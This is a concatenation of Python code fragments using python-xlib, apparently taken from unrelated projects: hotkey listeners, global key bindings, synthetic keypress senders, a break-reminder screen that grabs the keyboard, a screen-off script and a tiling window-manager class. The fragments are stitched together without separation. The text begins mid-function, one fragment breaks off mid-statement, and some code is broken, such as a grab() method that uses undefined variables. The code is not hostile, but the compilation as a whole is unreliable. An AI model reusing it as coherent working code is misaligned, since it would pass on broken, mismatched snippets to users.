same_screen=True, root_x=0, root_y=0, event_x=0, event_y=0, state=modifiers.bitmap, detail=keycode) window.send_event(event, propagate=False) event = protocol.event.KeyRelease( time=X.CurrentTime, root=self.root, window=window, child=X.NONE, same_screen=True, # same screen as the root window root_x=0, root_y=0, event_x=0, event_y=0, state=modifiers.bitmap, detail=keycode) window.send_event(event, propagate=False) def show_desktop(self, action=None): prop_name = self.atom("_NET_SHOWING_DESKTOP") if action is True: self.send_prop_change_event(prop_name, (32, [1, X.CurrentTime, 0, 0, 0])) elif action is False: self.send_prop_change_event(prop_name, (32, [0, X.CurrentTime, 0, 0, 0])) else: pv = self.get_prop(self.root, prop_name) new_val = 0 if pv and pv[0] else 1 self.send_prop_change_event( prop_name, (32, [new_val, X.CurrentTime, 0, 0, 0])) def flush(self): # send all pending events self.display.flush() def sync(self): # flush and make sure everything is handled and processed or rejected by the server self.display.sync() @property def display_count(self): res = randr.get_screen_resources(self.root) n = 0 for i in res.outputs: o = randr.get_output_info(self.root, i, config_timestamp=0) if o.modes: # has modes, empty if there's no monitor connected here n += 1 return n
class KeyboardListener: def __init__(self, callback=None, on_error=None): self.keys = [] self.grabbed: List = [] self.temporary_grab: List = [] self.on_error = on_error self.callback = callback # XLib errors are received asynchronously, thus the need for a running state flag self.stopped = False self.well_thread = threading.Thread(target=self.x_client_loop, daemon=True, name='hotkey well thread') self.well_connection = Display() self.well_connection.set_error_handler(self._local_display_error_handler) self.mod_keys_set = set() for mods in self.well_connection.get_modifier_mapping(): for mod in mods: self.mod_keys_set.add(mod) self.root: Xlib.display.Window = self.well_connection.screen().root self.root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask) self.accelerators_root = {'level': 0, 'children': []} self.contextual_accelerators = self.accelerators_root # # API # def add(self, key): self.keys.append(key) def start(self): for key in self.keys: self._bind_to_root(key) self.well_thread.start() def _bind_to_root(self, key): self._bind(key, self.accelerators_root) def _bind(self, key: Key, node): gdk_key_val, code, mask = parse_accelerator(key.accelerator) node['has_children'] = True if (code, mask) in node: raise Exception('key ({}) already mapped'.format(', '.join(key.accelerator))) we = {'code': code, 'mask': mask, 'has_children': False, 'children': [], 'level': node['level'] + 1, 'key': key} node[(code, mask)] = we node['children'].append(we) if we['level'] == 1: self._grab_keys(code, mask) self.well_connection.sync() if self.stopped: raise Exception('Unable to bind: {}'.format(', '.join(key.accelerator))) for combination in key.combinations: self._bind(combination, we) def stop(self): self.stopped = True self.well_connection.close() # # xlib plugs # def _local_display_error_handler(self, exception, *args): print('Error at local display: {}'.format(exception), file=sys.stderr) if not self.stopped: self.stopped = True self.on_error() # # Internal API # def _grab_keys(self, code, mask): self.root.grab_key(code, mask, True, X.GrabModeAsync, X.GrabModeAsync) self.root.grab_key(code, mask | X.Mod2Mask, True, X.GrabModeAsync, X.GrabModeAsync) self.root.grab_key(code, mask | X.LockMask, True, X.GrabModeAsync, X.GrabModeAsync) self.root.grab_key(code, mask | X.Mod2Mask | X.LockMask, True, X.GrabModeAsync, X.GrabModeAsync) self.grabbed.append((code, mask)) def _ungrab_keys(self, code, mask): self.root.ungrab_key(code, mask) self.root.ungrab_key(code, mask | X.Mod2Mask) self.root.ungrab_key(code, mask | X.LockMask) self.root.ungrab_key(code, mask | X.Mod2Mask | X.LockMask) self.grabbed.remove((code, mask)) # # Event handling # def x_client_loop(self): while not self.stopped: event = self.well_connection.next_event() if event.type == X.KeyPress and event.detail not in self.mod_keys_set: self.handle_keypress(event) # http://python-xlib.sourceforge.net/doc/html/python-xlib_13.html def handle_keypress(self, event: Xlib.protocol.event.KeyPress): _wasmapped, keyval, egroup, level, consumed = Gdk.Keymap.get_default().translate_keyboard_state( event.detail, Gdk.ModifierType(event.state), 0) code = event.detail mask = normalize_state(event.state) event.keyval = keyval event.keymod = Gdk.ModifierType(mask) # TODO: explain key_name = Gdk.keyval_name(event.keyval) # print('key: {} wid: {} root_x: {} event_x: {}'.format(key_name, event.window.id, event.root_x, event.event_x)) if (code, mask) not in self.contextual_accelerators: self.reset_key_streak(event.time) if (code, mask) in self.contextual_accelerators: self.callback(self.contextual_accelerators[(code, mask)]['key'], event) if self.contextual_accelerators[(code, mask)]['has_children']: self.contextual_accelerators = self.contextual_accelerators[(code, mask)] self.root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync, event.time) self.temporary_grab = True else: self.reset_key_streak(event.time) def reset_key_streak(self, time): self.contextual_accelerators = self.accelerators_root if self.temporary_grab: self.well_connection.ungrab_keyboard(time) self.temporary_grab = False
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate':(GObject.SIGNAL_RUN_LAST, None,()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = Gdk.Keymap.get_default() self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() def map_modifiers(self): gdk_modifiers =(Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name(0, modifier): self.known_modifiers_mask |= modifier def grab(self): Gdk.threads_enter() self.keycode= self.keymap.get_entries_for_keyval(keyval)[1][0].keycode self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.root.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.root.ungrab_key(self.keycode, X.AnyModifier, self.root) def get_mask_combinations(self, mask): return [x for x in xrange(mask+1) if not (x & ~mask)] def idle(self): Gdk.threads_enter() self.emit("activate") Gdk.threads_leave() return False def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) def stop(self): self.running = False self.ungrab() self.display.close()
#!/usr/bin/python import time import subprocess from Xlib import X from Xlib.display import Display display = Display() root = display.screen().root root.grab_pointer(True, X.ButtonPressMask | X.ButtonReleaseMask | X.PointerMotionMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime) root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) subprocess.call('xset dpms force off'.split()) time.sleep(1) display.next_event()
# Baixo: 116 # Esquerda: 113 # Direita: 114 setas_ref = [111, 116, 113, 114] setas = ["Cima", "Baixo", "Esquerda", "Direita"] # Captura de teclado e mouse display = Display(':0') root = display.screen().root root.grab_pointer(True, X.ButtonPressMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime) root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) while True: event = display.next_event() # Para evitar o erro de mudança de source (e.g. maKey maKey pra teclado) try: e = event.detail except: continue # Caso precise verificar numeros de tecla, descomentar a linha abaixo #print e # Botões if e in botoes_ref: print botoes[botoes_ref.index(e)] + " clicado." # Teclas elif e in teclas_ref: if isinstance(event, KeyPress):
class KeyTools: KEY_PRESS = X.KeyPress KEY_RELEASE = X.KeyRelease def __init__(self): self._xdisplay = Display() self._xroot = self._xdisplay.screen().root self._clipboard = gtk.clipboard_get() self._clipPrimay = gtk.clipboard_get("PRIMARY") self._entryForPaste = 118, X.ShiftMask self._group = 0 self.loadModifiers() self._keymap = gdk.keymap_get_default() # @UndefinedVariable def loadModifiers(self): self._modifiers = [] self._modifierList = [] for key in self._xdisplay.get_modifier_mapping(): li = [k for k in key if k] #for altgr key if 92 in li: li.append(108) self._modifierList += li self._modifiers.append(li) def filterGroup(self, entries): if entries: return [e for e in entries if e[-2] == self._group] return [] def remapKey(self, keycode, keysyms): allKeysyms = list(self._xdisplay.get_keyboard_mapping(keycode, 1)[0]) keysyms = keysyms + [0]*(4 - len(keysyms)) allKeysyms[:2] = keysyms[:2] allKeysyms[4:6] = keysyms[2:] self._xdisplay.change_keyboard_mapping(keycode, [allKeysyms]) self._xdisplay.sync() def resetMapping(self): try: process = Popen('setxkbmap -print -verbose 7'.split(), stdout=PIPE, stderr=PIPE) except OSError: print 'install setxkbmap' for line in process.stderr: print 'setxkbmap error: {}'.format(line) layout = variant = '' for line in process.stdout: line = line.rstrip() if line == '': break if line.startswith('layout:'): layout = line.split()[1] elif line.startswith('variant:'): variant = line.split()[1] break command = ['setxkbmap'] if layout: command += ['-layout', layout] if variant: command += ['-variant', variant] if layout or command: try: process = Popen(command, stdout=PIPE, stderr=PIPE) except OSError: print 'install setxkbmap' for line in process.stderr: print 'setxkbmap error: {}'.format(line) def isModifier(self, keycode): return keycode in self._modifierList def getModMask(self, keycode): for i, mods in enumerate(self._modifiers): if keycode in mods: return 2**i return 0 def modifiersKeycodeList(self): return self._modifierList def numMask(self): return X.Mod2Mask def keycode2char(self, keycode, mods, group=0): char = '' name = '' info = self._keymap.translate_keyboard_state(keycode, mods, group) if info: keysym = info[0] char = gdk.keyval_to_unicode(keysym) # @UndefinedVariable if char: char = unichr(char) name = gdk.keyval_name(keysym) # @UndefinedVariable return char or '', name or '' def removeNumLockMask(self, keycode, mod): if not self.isKeypadKey(keycode) and mod & X.Mod2Mask: return mod ^ X.Mod2Mask return mod def entry2keysym(self, keycode, modMask): info = self._keymap.translate_keyboard_state(keycode, modMask, self._group) if info: return info[0] return None def entry2name(self, keycode, modMask): keysym = self.entry2keysym(keycode, modMask) if keysym is not None: return gdk.keyval_name(keysym) # @UndefinedVariable return None def keycode2entries(self, keycode): return self.filterGroup(self._keymap.get_entries_for_keycode(keycode)) def keysym2entry(self, keysym): if not keysym: return None infos = self._keymap.get_entries_for_keyval(keysym) # @UndefinedVariable if infos: for info in infos: keycode, group, level = info if group == self._group: if level < len(LEVEL_MOD): mod = LEVEL_MOD[level] return keycode, mod return None def keysym2deadEntries(self, keysym): resp = () entry = self.keysym2entry(keysym) if entry: keycode, mod = entry resp = ((keycode, mod), ) if not resp: deadKeys = self.findWithDeadKey(keysym) if deadKeys: keyKeysym, deadKeysym = deadKeys keyKeycodes = self.keysym2entry(keyKeysym) deadKeycodes = self.keysym2entry(deadKeysym) if keyKeycodes and deadKeycodes: keyKeycode, keyMod = keyKeycodes deadKeycode, deadMod = deadKeycodes resp = ((deadKeycode, deadMod), (keyKeycode, keyMod)) return resp def keycode2charsAndNames(self, keycode): entries = self.keycode2entries(keycode) chars = [] names = [] for entry in entries: chars.append(keysym2char(entry[0])) names.append(keysym2name(entry[0])) if len(chars) >= 4: break while not names[-1]: chars.pop(-1) names.pop(-1) return chars, names def keycode2keysyms(self, keycode): entries = self.keycode2entries(keycode) return [e[0] for e in entries][:4] def char2entries(self, char): keysym = gdk.unicode_to_keyval(ord(char)) # @UndefinedVariable if keysym: return self.keysym2deadEntries(keysym) return () def findWithDeadKey(self, keysym): name = gdk.keyval_name(keysym) # @UndefinedVariable for deadName in DEAD_KEYS: if name.endswith(deadName): keyName = name[:-len(deadName)] deadName = {'ring': 'abovering', 'schwa': 'small_schwa', 'SCHWA': 'capital_schwa'}.get(deadName, deadName) deadName = 'dead_' + deadName keyKeysym = gdk.keyval_from_name(keyName) # @UndefinedVariable deadSym = gdk.keyval_from_name(deadName) # @UndefinedVariable return keyKeysym, deadSym return None def isKeypadKey(self, keycode): entry = self._keymap.get_entries_for_keycode(keycode) if entry: for info in entry: if info[2] == self._group: name = gdk.keyval_name(info[0]) # @UndefinedVariable if name and name.startswith('KP_'): return True return False def grabKey(self, keycode, modMask): self._xroot.grab_key(keycode, modMask, 0, X.GrabModeAsync, X.GrabModeAsync) if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask: self._xroot.grab_key(keycode, modMask | X.Mod2Mask, 0, X.GrabModeAsync, X.GrabModeAsync) def ungrabKey(self, keycode, modMask): self._xroot.ungrab_key(keycode, modMask) if not self.isKeypadKey(keycode) and not modMask & X.Mod2Mask: self._xroot.ungrab_key(keycode, modMask | X.Mod2Mask) def nextKeyEvent(self, typ=KEY_PRESS): if isinstance(typ, int): typ = (typ,) num = self._xdisplay.pending_events() if num: for _ in range(num): event = self._xdisplay.next_event() if event.type in typ: return keyEvent(event.type, event.detail, event.state) self._xdisplay.allow_events(X.AsyncKeyboard, X.CurrentTime) return None def slotClipboard(self, clipboard, text, backup): self.sendEntry(*self._entryForPaste) t = Timer(0.1, self.restoreClipboard, (backup,)) t.start() def restoreClipboard(self, backup): self._clipboard.request_text(lambda a, b, c: None) if backup: self._clipboard.set_text(backup or '') self._clipPrimay.clear() self._clipboard.store() def sendText(self, text): backup = self._clipboard.wait_for_text() self._clipboard.set_text(text) self._clipPrimay.set_text(text) self._clipboard.request_text(self.slotClipboard, backup) self._clipboard.store() self._clipPrimay.store() def sendKeysym(self, keysym): entries = self.keysym2deadEntries(keysym) for entry in entries: self.sendEntry(*entry) def sendEntry(self, keycode, mod): self.pressKey(keycode, mod) self.releaseKey(keycode, mod) def pressKey(self, keycode, modMask): window = self._xdisplay.get_input_focus()._data["focus"] evt = Xlib.protocol.event.KeyPress( # @UndefinedVariable time = X.CurrentTime, root = self._xroot, window = window, same_screen = 0, child = Xlib.X.NONE, root_x = 0, root_y = 0, event_x = 0, event_y = 0, state = modMask, detail = keycode ) window.send_event(evt, propagate = True) def releaseKey(self, keycode, modMask): window = self._xdisplay.get_input_focus()._data["focus"] evt = Xlib.protocol.event.KeyRelease( # @UndefinedVariable time = X.CurrentTime, root = self._xroot, window = window, same_screen = 0, child = Xlib.X.NONE, root_x = 0, root_y = 0, event_x = 0, event_y = 0, state = modMask, detail = keycode ) window.send_event(evt, propagate = True)
from Xlib.display import Display from Xlib.ext import xinput import fcntl class Handler: def __init__(self, display): self.enabled = True self.display = display def handle(self, event): if event.data['detail'] == 76 and event.data['mods']['base_mods'] == 4: if self.enabled: self.display.grab_server() else: self.display.ungrab_server() self.enabled = not self.enabled display = Display() try: handler = Handler(display) screen = display.screen() screen.root.xinput_select_events([ (xinput.AllDevices, xinput.KeyPressMask), ]) while True: event = display.next_event() handler.handle(event) finally: display.close()
class BreakScreen: """ The fullscreen window which prevents users from using the computer. This class reads the break_screen.glade and build the user interface. """ def __init__(self, context, on_skip, on_postpone, style_sheet_path): self.context = context self.count_labels = [] self.display = Display() self.enable_postpone = False self.enable_shortcut = False self.is_pretified = False self.keycode_shortcut_postpone = 65 self.keycode_shortcut_skip = 9 self.on_postpone = on_postpone self.on_skip = on_skip self.shortcut_disable_time = 2 self.strict_break = False self.windows = [] # Initialize the theme css_provider = Gtk.CssProvider() css_provider.load_from_path(style_sheet_path) Gtk.StyleContext.add_provider_for_screen( Gdk.Screen.get_default(), css_provider, Gtk.STYLE_PROVIDER_PRIORITY_APPLICATION) def initialize(self, config): """ Initialize the internal properties from configuration """ logging.info("Initialize the break screen") self.enable_postpone = config.get('allow_postpone', False) self.keycode_shortcut_postpone = config.get('shortcut_postpone', 65) self.keycode_shortcut_skip = config.get('shortcut_skip', 9) self.shortcut_disable_time = config.get('shortcut_disable_time', 2) self.strict_break = config.get('strict_break', False) def skip_break(self): """ Skip the break from the break screen """ logging.info("User skipped the break") # Must call on_skip before close to lock screen before closing the break screen self.on_skip() self.close() def postpone_break(self): """ Postpone the break from the break screen """ logging.info("User postponed the break") self.on_postpone() self.close() def on_window_delete(self, *args): """ Window close event handler. """ logging.info("Closing the break screen") self.close() def on_skip_clicked(self, button): """ Skip button press event handler. """ self.skip_break() def on_postpone_clicked(self, button): """ Postpone button press event handler. """ self.postpone_break() def show_count_down(self, countdown, seconds): """ Show/update the count down on all screens. """ self.enable_shortcut = self.shortcut_disable_time <= seconds mins, secs = divmod(countdown, 60) timeformat = '{:02d}:{:02d}'.format(mins, secs) GLib.idle_add(lambda: self.__update_count_down(timeformat)) def show_message(self, break_obj, widget, tray_actions=[]): """ Show the break screen with the given message on all displays. """ message = break_obj.name image_path = break_obj.image self.enable_shortcut = self.shortcut_disable_time <= 0 GLib.idle_add(lambda: self.__show_break_screen(message, image_path, widget, tray_actions)) def close(self): """ Hide the break screen from active window and destroy all other windows """ logging.info("Close the break screen(s)") self.__release_keyboard() # Destroy other windows if exists GLib.idle_add(lambda: self.__destroy_all_screens()) def __tray_action(self, button, tray_action): """ Tray action handler. Hides all toolbar buttons for this action and call the action provided by the plugin. """ tray_action.reset() tray_action.action() def __show_break_screen(self, message, image_path, widget, tray_actions): """ Show an empty break screen on all screens. """ # Lock the keyboard utility.start_thread(self.__lock_keyboard) screen = Gtk.Window().get_screen() no_of_monitors = screen.get_n_monitors() logging.info("Show break screens in %d display(s)", no_of_monitors) for monitor in range(no_of_monitors): monitor_gemoetry = screen.get_monitor_geometry(monitor) x = monitor_gemoetry.x y = monitor_gemoetry.y builder = Gtk.Builder() builder.add_from_file(BREAK_SCREEN_GLADE) builder.connect_signals(self) window = builder.get_object("window_main") lbl_message = builder.get_object("lbl_message") lbl_count = builder.get_object("lbl_count") lbl_widget = builder.get_object("lbl_widget") img_break = builder.get_object("img_break") box_buttons = builder.get_object("box_buttons") toolbar = builder.get_object("toolbar") for tray_action in tray_actions: toolbar_button = None if tray_action.system_icon: toolbar_button = Gtk.ToolButton.new_from_stock( tray_action.get_icon()) else: toolbar_button = Gtk.ToolButton.new( tray_action.get_icon(), tray_action.name) tray_action.add_toolbar_button(toolbar_button) toolbar_button.connect( "clicked", lambda button, action: self.__tray_action(button, action), tray_action) toolbar_button.set_tooltip_text(_(tray_action.name)) toolbar.add(toolbar_button) toolbar_button.show() # Add the buttons if self.enable_postpone: # Add postpone button btn_postpone = Gtk.Button(_('Postpone')) btn_postpone.get_style_context().add_class('btn_postpone') btn_postpone.connect('clicked', self.on_postpone_clicked) btn_postpone.set_visible(True) box_buttons.pack_start(btn_postpone, True, True, 0) if not self.strict_break: # Add the skip button btn_skip = Gtk.Button(_('Skip')) btn_skip.get_style_context().add_class('btn_skip') btn_skip.connect('clicked', self.on_skip_clicked) btn_skip.set_visible(True) box_buttons.pack_start(btn_skip, True, True, 0) # Set values if image_path: img_break.set_from_file(image_path) lbl_message.set_label(message) lbl_widget.set_markup(widget) self.windows.append(window) self.count_labels.append(lbl_count) # Set visual to apply css theme. It should be called before show method. window.set_visual(window.get_screen().get_rgba_visual()) if self.context['desktop'] == 'kde': # Fix flickering screen in KDE by setting opacity to 1 window.set_opacity(0.9) # In Unity, move the window before present window.move(x, y) window.resize(monitor_gemoetry.width, monitor_gemoetry.height) window.stick() window.set_keep_above(True) window.present() # In other desktop environments, move the window after present window.move(x, y) window.resize(monitor_gemoetry.width, monitor_gemoetry.height) logging.info("Moved break screen to Display[%d, %d]", x, y) window.fullscreen() def __update_count_down(self, count): """ Update the countdown on all break screens. """ for label in self.count_labels: label.set_text(count) def __lock_keyboard(self): """ Lock the keyboard to prevent the user from using keyboard shortcuts """ logging.info("Lock the keyboard") self.lock_keyboard = True # Grab the keyboard root = self.display.screen().root root.change_attributes(event_mask=X.KeyPressMask | X.KeyReleaseMask) root.grab_keyboard(True, X.GrabModeAsync, X.GrabModeAsync, X.CurrentTime) # Consume keyboard events while self.lock_keyboard: if self.display.pending_events() > 0: # Avoid waiting for next event by checking pending events event = self.display.next_event() if self.enable_shortcut and event.type == X.KeyPress: if event.detail == self.keycode_shortcut_skip and not self.strict_break: self.skip_break() break elif self.enable_postpone and event.detail == self.keycode_shortcut_postpone: self.postpone_break() break else: # Reduce the CPU usage by sleeping for a second time.sleep(1) def __release_keyboard(self): """ Release the locked keyboard. """ logging.info("Unlock the keyboard") self.lock_keyboard = False self.display.ungrab_keyboard(X.CurrentTime) self.display.flush() def __destroy_all_screens(self): """ Close all the break screens. """ for win in self.windows: win.destroy() del self.windows[:] del self.count_labels[:]
class GlobalKeyBinding(GObject.GObject, threading.Thread): __gsignals__ = { 'activate': (GObject.SignalFlags.RUN_LAST, None, ()), } def __init__(self): GObject.GObject.__init__(self) threading.Thread.__init__(self) self.setDaemon(True) self.keymap = capi.get_widget(gdk.gdk_keymap_get_default()) self.display = Display() self.screen = self.display.screen() self.window = self.screen.root self.ignored_masks = self.get_mask_combinations(X.LockMask | X.Mod2Mask | X.Mod5Mask) self.map_modifiers() self.raw_keyval = None self.keytext = "" def is_hotkey(self, key, modifier): keymatch = False modmatch = False modifier = modifier & ~Gdk.ModifierType.SUPER_MASK modint = int(modifier) if self.get_keycode(key) == self.keycode: keymatch = True for ignored_mask in self.ignored_masks: if self.modifiers | ignored_mask == modint | ignored_mask: modmatch = True break return keymatch and modmatch def map_modifiers(self): gdk_modifiers = (Gdk.ModifierType.CONTROL_MASK, Gdk.ModifierType.SHIFT_MASK, Gdk.ModifierType.MOD1_MASK, Gdk.ModifierType.MOD2_MASK, Gdk.ModifierType.MOD3_MASK, Gdk.ModifierType.MOD4_MASK, Gdk.ModifierType.MOD5_MASK, Gdk.ModifierType.SUPER_MASK, Gdk.ModifierType.HYPER_MASK) self.known_modifiers_mask = 0 for modifier in gdk_modifiers: if "Mod" not in Gtk.accelerator_name( 0, modifier) or "Mod4" in Gtk.accelerator_name( 0, modifier): self.known_modifiers_mask |= modifier def get_keycode(self, keyval): count = c_int() array = (KeymapKey * 10)() keys = cast(array, POINTER(KeymapKey)) gdk.gdk_keymap_get_entries_for_keyval(hash(self.keymap), keyval, byref(keys), byref(count)) return keys[0].keycode def grab(self, key): accelerator = key accelerator = accelerator.replace("<Super>", "<Mod4>") keyval, modifiers = Gtk.accelerator_parse(accelerator) if not accelerator or (not keyval and not modifiers): self.keycode = None self.modifiers = None return False self.keytext = key self.keycode = self.get_keycode(keyval) self.modifiers = int(modifiers) catch = error.CatchError(error.BadAccess) for ignored_mask in self.ignored_masks: mod = modifiers | ignored_mask result = self.window.grab_key(self.keycode, mod, True, X.GrabModeAsync, X.GrabModeSync, onerror=catch) self.display.flush() # sync has been blocking. Don't know why. #self.display.sync() if catch.get_error(): return False return True def ungrab(self): if self.keycode: self.window.ungrab_key(self.keycode, X.AnyModifier, self.window) def rebind(self, key): self.ungrab() if key != "": self.grab(key) else: self.keytext = "" def set_focus_window(self, window=None): self.ungrab() if window is None: self.window = self.screen.root else: self.window = self.display.create_resource_object( "window", gdk.gdk_x11_drawable_get_xid(hash(window))) self.grab(self.keytext) def get_mask_combinations(self, mask): return [x for x in xrange(mask + 1) if not (x & ~mask)] def idle(self): self.emit("activate") return False def activate(self): GLib.idle_add(self.run) def run(self): self.running = True wait_for_release = False while self.running: event = self.display.next_event() try: self.current_event_time = event.time if event.detail == self.keycode and event.type == X.KeyPress and not wait_for_release: modifiers = event.state & self.known_modifiers_mask if modifiers == self.modifiers: wait_for_release = True self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) elif event.detail == self.keycode and wait_for_release: if event.type == X.KeyRelease: wait_for_release = False GLib.idle_add(self.idle) self.display.allow_events(X.AsyncKeyboard, event.time) else: self.display.allow_events(X.ReplayKeyboard, event.time) except AttributeError: continue def stop(self): self.running = False self.ungrab() self.display.close()
class Environment(): def __init__(self): self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.region = Region(x=0, y=0, width=self.screen.width_in_pixels, height=self.screen.height_in_pixels) self.desktops = [] self.windows = self.get_window_set() self.window_desktop_map = {} self.hidden_windows = set() self.visible_windows = set() for i in range(self.number_of_desktops()): LOGGER.debug("\n\n\nCreating Desktop %d" % (i)) d = Desktop(i, self) self.desktops.append(d) #d.print_windows() d.arrange() self.update_desktop_map() self.setup_listeners() #self.print_hierarchy(self.root, " - ") def setup_listeners(self): self.root.change_attributes(event_mask=X.SubstructureNotifyMask | X.PropertyChangeMask) anchor = self.root.create_window(0, 0, 1, 1, 1, self.screen.root_depth) anchor.xrandr_select_input(randr.RRScreenChangeNotifyMask | randr.RRCrtcChangeNotifyMask | randr.RROutputChangeNotifyMask | randr.RROutputPropertyNotifyMask) def update_all_the_things(self): self.display = Display() self.screen = self.display.screen() self.root = self.screen.root self.region = Region(x=0, y=0, width=self.screen.width_in_pixels, height=self.screen.height_in_pixels - 32) LOGGER.debug("NEW REGION: %s" % (self.region)) for d in self.desktops: d.resize() self.setup_listeners() def print_hierarchy(self, window, indent): children = window.query_tree().children for w in children: LOGGER.debug(indent, window.get_wm_class()) self.print_hierarchy(w, indent + '-') def interesting_properties(self): #_NET_WM_DESKTOP # root: _NET_CURRENT_DESKTOP LOGGER.debug("Current desktop") LOGGER.debug( self.root.get_full_property( self.display.intern_atom('_NET_CURRENT_DESKTOP'), Xatom.CARDINAL).value[0]) def current_desktop(self): return self.root.get_full_property( self.display.intern_atom('_NET_CURRENT_DESKTOP'), Xatom.CARDINAL).value[0] def number_of_desktops(self): return self.root.get_full_property( self.display.intern_atom('_NET_NUMBER_OF_DESKTOPS'), Xatom.CARDINAL).value[0] def update_window_states(self): window_ids = self.get_window_set(include_hidden=True) for window_id in window_ids: if self.is_window_hidden(window_id): self.hidden_windows.add(window_id) else: self.visible_windows.add(window_id) def update_desktop_map(self): self.window_desktop_map = {} for d in self.desktops: for window_id in d.get_window_set(include_hidden=True): self.window_desktop_map[window_id] = d def get_window_desktop(self, window): if type(window) is long: w = self.display.create_resource_object('window', window) else: w = window try: value = w.get_full_property( self.display.intern_atom('_NET_WM_DESKTOP'), Xatom.CARDINAL).value[0] if value > self.number_of_desktops(): return None else: return value except AttributeError: return None except Xlib.error.BadWindow: return None def get_window_states(self, window_id): w = self.display.create_resource_object('window', window_id) #return w.get_full_property(self.display.intern_atom('_NET_WM_STATE'), Xatom.ATOM).value try: states = w.get_full_property( self.display.get_atom('_NET_WM_STATE'), Xatom.WINDOW) except Xlib.error.BadWindow: LOGGER.warn("Bad window fetching states...") states = None if states == None: return [] else: res = w.get_full_property(self.display.get_atom('_NET_WM_STATE'), 0).value.tolist() return res def is_window_hidden(self, window_id): hidden_state_atom = self.display.get_atom("_NET_WM_STATE_HIDDEN") states = self.get_window_states(window_id) return hidden_state_atom in states def is_window_visible(self, window_id): return not self.is_window_hidden(window_id) def listen_for_events(self): LOGGER.debug("Listening for change events!") while True: ev = self.display.next_event() self.handle_event(ev) def handle_event(self, event): old_hidden = set(self.hidden_windows) old_visible = set(self.visible_windows) self.update_window_states() changed_ids = set() changed_ids.update(old_hidden.symmetric_difference( self.hidden_windows)) changed_ids.update( old_visible.symmetric_difference(self.visible_windows)) if len(changed_ids) > 0: LOGGER.debug("Changed IDs: %s" % (changed_ids)) needs_update = False wm_active_window = self.display.get_atom('_NET_ACTIVE_WINDOW') wm_move_window = self.display.get_atom('_NET_MOVERESIZE_WINDOW') wm_hidden_window = self.display.get_atom('_NET_WM_STATE_HIDDEN') wm_state = self.display.get_atom('_NET_WM_STATE') try: window_props = event.window.get_full_property(event.atom, 0) window_id = int(window_props.value.tolist()[0]) LOGGER.debug("Window ID: %s" % (window_id)) except AttributeError: pass #LOGGER.debug("Not a window-level event") for window_id in changed_ids: desktop = self.window_desktop_map.get(window_id, None) LOGGER.debug("Window changed: %s on desktop: %s" % (window_id, desktop)) if desktop is not None: desktop.arrange() needs_update = True if event.type == X.PropertyNotify: LOGGER.debug("Property changed...") if event.atom == wm_active_window: LOGGER.debug("Property changed on an active window....") elif event.type == X.CreateNotify or event.type == X.DestroyNotify: needs_update = True window_set = self.get_window_set() if event.type == X.CreateNotify: LOGGER.debug("Handling creation!") new_windows = window_set.difference(self.windows) for window in new_windows: window_resource = self.display.create_resource_object( 'window', window) window_desktop = self.get_window_desktop(window_resource) if window_desktop is not None: self.desktops[window_desktop].layout.add_window( window_resource) if event.type == X.DestroyNotify: LOGGER.debug("Handling destruction!") missing_windows = self.windows.difference(window_set) for window in missing_windows: window_resource = self.display.create_resource_object( 'window', window) # TODO: optimize lookup by keeping old map? for desktop in self.desktops: LOGGER.debug("Trying to remove from desktop %s" % (desktop)) desktop.layout.remove_window(window_resource) self.windows = window_set for desktop in self.desktops: desktop.layout.redraw() elif event.__class__.__name__ == randr.ScreenChangeNotify.__name__: LOGGER.debug('Screen change') self.update_all_the_things() else: #LOGGER.debug("Unhandled event: %d" % (event.type)) pass if needs_update: self.update_desktop_map() def get_window_set(self, include_hidden=False, desktop_number=None): windows = set([ x for x in self.root.get_full_property( self.display.intern_atom('_NET_CLIENT_LIST'), Xatom.WINDOW).value ]) if desktop_number is not None: #LOGGER.debug("Filtering windows not on: %d" % (desktop_number)) windows = filter( lambda w: self.get_window_desktop(w) == desktop_number, windows) if include_hidden is False: #LOGGER.debug("Filtering hidden windows...") windows = filter(lambda w: self.is_window_visible(w) == True, windows) return set(windows)
